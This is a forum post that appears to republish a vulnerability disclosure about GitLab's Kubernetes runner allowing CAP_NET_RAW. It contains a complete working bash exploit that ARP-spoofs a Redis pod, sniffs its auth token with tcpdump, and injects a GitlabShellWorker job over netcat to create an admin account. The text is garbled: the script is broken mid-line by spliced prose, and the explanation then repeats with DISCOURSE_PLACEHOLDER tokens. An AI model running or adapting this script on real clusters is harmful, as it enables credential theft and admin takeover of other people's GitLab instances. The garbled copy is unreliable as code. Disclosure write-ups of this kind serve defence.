Arpspoof vs Kubernetes

Write-ups and Disclosures
1

Original issue at GitLab

Summary

The Kubernetes Executor executes jobs on pods with the default security context, which allows CAP_NET_RAW. This allows for malicious workloads to use arpspoofing and other methods to attack any other workload running on the same node.

As a proof of content, the default installation of the GitLab Helm chart bundles GitLab runner and deploys the Runner into the same cluster alongside the GitLab instance. This opens various attack paths from CI Jobs towards the GitLab instance, including the ability to get admin control over the instance.

Steps to reproduce

A very basic example would be the following shell script:

#!/bin/bash
apt-get update
apt-get install -y git python python-scapy tcpdump dnsutils dsniff nmap psmisc arping binutils grep netcat
GWIP=`ip route |grep default | cut -f 3 -d " "`
REDISIP=`host gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local | cut -f 4 -d " "`
arping gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local -c 3 || exit  # wrong subnet
tcpdump -ni eth0 -s 0 -w out.pcap &
arpspoof -r -t $REDISIP $GWIP & > /dev/null 2>&1 
sleep 3
tcpkill -9 port 6379 & sleep 5 && killall -9 tcpkill
sleep 10 
killall tcpdump
killall -9 arpspoof
REDISTOKEN=`strings out.pcap |grep '^auth

The script will interfere with the redis instance on network level using arpspoof and tcpkill to sniff the redis authentication token. Subsequently the script will create an admin account via injection of a GitlabShellWorker job.

I could run this script and sucessfully create the admin account from a CI job in a test installation of the GitLab Helm chart. The installation was performed using

helm  upgrade --install gitlab  gitlab/gitlab \                                     
  --timeout 600s \
--set global.hosts.domain=k8s.thetanuki.io \
--set [email protected] \
--set global.hosts.externalIP=34.107.49.76

Note: Due to the network segmentation the CI job needed to be started several times to eventually end up in the same network segment where the redis pod lives this is required for the ARP spoofing attack to be performed.

This is just one of many possible attacks, other vectors might target the Gitaly or Gitlab Shell tokens or even sniff passwords for the Web login. -A 1 | grep ‘[a-zA-Z0-9]{64}’ | head -n 1`
nc $REDISIP 6379 <<EOE
auth $REDISTOKEN
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push “{“class”:“GitlabShellWorker”,“args”:[“class_eval”,“User.new(name: ‘haxx’,admin: true,password: ‘haxx1234%A’,username: ‘haxx’, email: ‘[email protected]’,admin: true).save”],“retry”:3,“queue”:“system_hook_push”,“jid”:“4552c3b1225428b18682c901”,“created_at”:1513714403.8122594,“enqueued_at”:1513714403.8129568}”
exec
EOE
exit 0


The script will interfere with the `DISCOURSE_PLACEHOLDER_3` instance on network level using `DISCOURSE_PLACEHOLDER_4` and `DISCOURSE_PLACEHOLDER_5` to sniff the `DISCOURSE_PLACEHOLDER_6` authentication token. Subsequently the script will create an admin account via injection of a `DISCOURSE_PLACEHOLDER_7` job.

I could run this script and sucessfully create the admin account from a CI job in a test installation of the GitLab Helm chart. The installation was performed using

DISCOURSE_PLACEHOLDER_8


Note: Due to the network segmentation the CI job needed to be started several times to eventually end up in the same network segment where the `DISCOURSE_PLACEHOLDER_9` pod lives this is required for the ARP spoofing attack to be performed.

This is just one of many possible attacks, other vectors might target the `DISCOURSE_PLACEHOLDER_10` or `DISCOURSE_PLACEHOLDER_11` tokens or even sniff passwords for the Web login.
1 Like